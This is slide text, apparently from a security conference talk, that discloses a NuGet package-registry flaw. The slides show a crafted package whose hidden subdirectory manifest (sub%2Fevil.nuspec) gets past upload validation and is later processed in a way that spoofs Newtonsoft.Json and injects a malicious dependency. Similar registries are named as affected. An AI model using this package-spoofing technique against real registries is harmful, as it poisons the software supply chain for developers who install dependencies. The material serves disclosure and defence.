Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

上傳時期驗證

背景發布工作

📦 pkg.nupkg

Blob Storage

開發者
儲存

不一致！



<?xml version="1.0" encoding="utf-8"?>

<package xmlns="http://schema...">

 <metadata>

   <id>Newtonsoft.Json</id>

   <dependencies>

    <dependency id="Evil.Pkg" version="9.9.9" />

   </dependencies>

 </metadata></package>

sub%2Fevil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

📦 exp.nupkg

<?xml version="1.0" encoding="utf-8"?>

<package xmlns="http://schema...">

 <metadata>

   <id>Very.Normal.Package</id>

 </metadata></package>



sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

Upload 
Validation

Background Job

📦 exp.nupkg

Blob Storage



sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

Upload 
Validation

Background Job

📦 exp.nupkg

Blob Storage

---> sub \ evil.nuspec -> Subdir, skip

---> Archive Root -> Validates OK

+ ID=Normal.Package

Database

✅



sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

Background Job

📦 exp.nupkg

Blob Storage

---> sub \ evil.nuspec -> Subdir, skip

---> Archive Root -> Validates OK

+ ID=Normal.Package

Database

✅

Upload 
Validation



sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

Background Job

📦 exp.nupkg

sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

---> sub \ evil.nuspec -> Subdir, skip

---> Archive Root -> Validates OK

Upload 
Validation

Blob Storage

--->  (Db2Catalog) -> Selected

¦
v

+ ID=Normal.Package

Database

✅

--> Catalog2Reg

id = Newtonsoft.Json



sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

Background Job

📦 exp.nupkg

sub\evil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

---> sub \ evil.nuspec -> Subdir, skip

---> Archive Root -> Validates OK

Upload 
Validation

Blob Storage

--->  (Db2Catalog) -> Selected

id = Newtonsoft.Json

Deps = [malicious.lib]

¦
v

+ ID=Normal.Package

Database

✅

--> Catalog2Reg



sub%2Fevil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

sub%2Fevil.nuspec

Normal.Package.nuspec

lib/net48/foo.dll

Background Job

📦 exp.nupkg

Blob Storage

---> sub / evil.nuspec -> Subdir, skip

---> Archive Root -> Validates OK

+ ID=Normal.Package

Database

✅

Upload 
Validation

--->  (Db2Catalog) -> Selected

|
v

id = Newtonsoft.Json

deps = [malicious]

--> Catalog2Reg

Pwned!



nuget install

VS Package Manager

dotnet restore

dotnet add package <pkg>

/v3/registration5-gz-semver2/
newtonsoft.json/index.json

{...,

 "items":[{"items": [{

  "catalogEntry": {

    "dependencyGroups": [ Deps ]

  }

}] }]}

/v3-flatcontainer/newtonsoft.json
/1.2.3/newtonsoft.json.1.2.3.nupkg

Newtonsoft.Json.nuspec

lib/net48/…

<metadata>

  <id>Newtonsoft.Json</id>

  <dependencies> <dependency ... />

  </dependencies>

</metadata></package>

Registration Blob Flat Container

Poisoned 💀



Lua → LuaRocks 💀
Julia → JuliaHub 💀
Objective C → CocoaPods 💀
C# → Nuget 💀
+ IDA → Plugin Repostory 

💀 受害者



Package Registry
pypi, npm, rubygems, nuget…

上傳

套件開發者

驗
證

一堆處理

内容傳送

驗證
CI workflows

奇怪功能



目標 / ?/N



Takeaways
Researcher / Developer



Takeaways
Researcher / Developer

供應鏈的源頭仍然是資安很重要的一環



Takeaways
Researcher / Developer

就算是信任的來源仍不一定能全信



Thanks!

splitline@devco.re
@_splitline_


